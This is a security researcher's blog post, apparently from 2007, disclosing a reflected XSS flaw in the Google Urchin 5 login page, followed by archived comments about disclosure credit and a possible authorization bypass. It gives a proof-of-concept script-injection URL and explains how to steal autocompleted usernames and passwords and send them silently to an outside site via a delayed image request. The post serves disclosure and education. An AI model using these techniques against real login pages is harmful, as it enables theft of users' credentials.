Google Urchin Password Theft Madness

There is a trivially exploitable XSS vul on Google Urchin Web Analytics 5's login page. The vulnerability has been tested on versions 5.6.00r2, 5.7.01, 5.7.02 and 5.7.03 (latest). Previous versions are most likely to be affected as well. In case you didn't know, Google Urchin is the install version of Google Analytics.

I reported the issue to Google back on Jul 25 and was confirmed by their security team. They are now working on a fix. My original plan was to publish this info after a fix would be released. However, the issue has also been found by other folks about a month ago. As usual, the researcher loses credit when following the responsible disclosure route. Here is the boring POC:

http://target/session.cgi?"><script>alert('XSS')</script><!--

You might have heard before that a XSS vulnerability on a login page is nasty. However most people think that the worst thing you can do is inject a form in order to perform a phishing attack. Although it's true this is a good example of what you can do, we can also do more advanced XSS phishing attacks that are even harder to detect. My two favorite tricks when finding a XSS vul on a login page are:

• Overwriting the login form's action attribute so that the victim's username and password are stolen when clicking on Login

• Stealing autocomplete data so that victim username and password are stolen by simply clicking on our exploit URL (juicy!)

  Anyway, let's get to the point. I know that you're sick of XSS PoCs that only open alert boxes. So here is a exploit URL that will steal the victim's username and password by simply clicking on it. The only requirement is that the victim is using the "autocomplete passwords" feature, aka "Remember passwords for sites":

  http://target/session.cgi?"><!--

  Using location is great for redirecting information to third-party sites. The problem is that the current window will change to show the evil site. Although this is great for demo purposes, it sucks when it comes to being stealth, since the victim can actually see his/her credentials being sent to another website on the address bar. Instead, we can dynamically create an image with JavaScript so the credentials are stolen in the background:

  http://target/session.cgi?"><!--

The following video shows the previous exploit in action. I don't think the quality of the video is that good, but oh well. Basically what it shows is how after visiting the exploit URL, the username and password are sent to google.com in the background. I use Paros in the video to demonstrate that the credentials do indeed get sent to google.com.

If you look at the code, you'll notice that we wait 1.5 secs using the setTimeout() function before forwarding the credentials to the evil site. The reason for this is because we need to let the browser auto-complete the fields before performing the redirect. Otherwise the value of the username and password field would be blank by the time we steal them.

The PoC has been tested on the latest version of FF (2.0.0.7 at time of writing) and does _not work on IE 7, but might work on IE 6. This doesn't mean you cannot do a auto-complete password theft attack on IE 7, it just needs a bit of more work! If you want to know the reason behind this difference is that IE 7 requires the user to first type or choose the username from the auto-complete drop-down menu, before_ the password field is automatically filled.

Archived Comments

MustLive

Adrian. As I wrote at my site month ago (http://websecurity.com.ua/1283/) about this XSS hole in Urchin, RSnake already wrote about this hole. Like you also mentioned about. But as I and RSnake wrote, there is not only XSS, but also Authorization bypass vulnerability in Urchin. Which give possibility to look at statistic without any login and password!

I know that you’re sick of XSS PoCs that only open alert boxes.

I'm not, I like alert boxes :-), especially alert(document.cookie). Nevertheless, man, nice XSS PoCs and video ;-).

djteller

Nice work man. Sorry about the credit issue, but dont worry, you got our respect.

Adrian Pastor

Hi MustLive: Copied and pasted from this very same post:

I reported the issue to Google back on Jul 25 and was confirmed by their security team. They are now working on a fix. My original plan was to publish this info after a fix would be released. However, the issue has also been found by other folks about a month ago.

In other words, I do mention that it's been publicly made a month ago by others, but ALSO that I reported it to Google 2 months ago and that I was waiting for them to fix it BEFORE making it public.

MustLive

Hi Adrian! No need to paste your words, I read your whole post carefully ;-). I understand that you was first who found this hole and I believe you (and Google also know that you was first who tell them about this XSS). Some people who found this hole after you outstrip you with disclosure, but you was the first discoverer, so you have respect of me and security community. I understand you with this situation, when other guys officially disclosed your hole before you. This incidents sometimes happens in webappsec world. I regularly have such experience, when people disclosing holes which I first discover before me, or when people disclosing holes many months after my disclosure. What I wrote in my previous comment (and what I wrote at my site), that there is another hole in Urchin. It is Authorization bypass vulnerability (which as I know was found by RSnake and you didn't mention it in your post). This one gives possibility to enter into account without any login and password. It is also interesting hole as your XSS.

Adrian Pastor

Hey MustLive, Thanks for your kind words, very much appreciated! I did read about the unauthenticated access issue and left my comments here: http://ha.ckers.org/blog/20070823/xss-and-possible-information-disclosure-in-urchin/

Back in July, when I was searching some examples in Google also noticed that some sites have the Urchin stats wide open, but I thought this was a configuration problem as opposed to a bug.

Are you guys sure there is a authorization bypass hole?

MustLive, is this a 100% verified issue? Have you guys replicated this in a lab environment? I can't make it work on my test installation.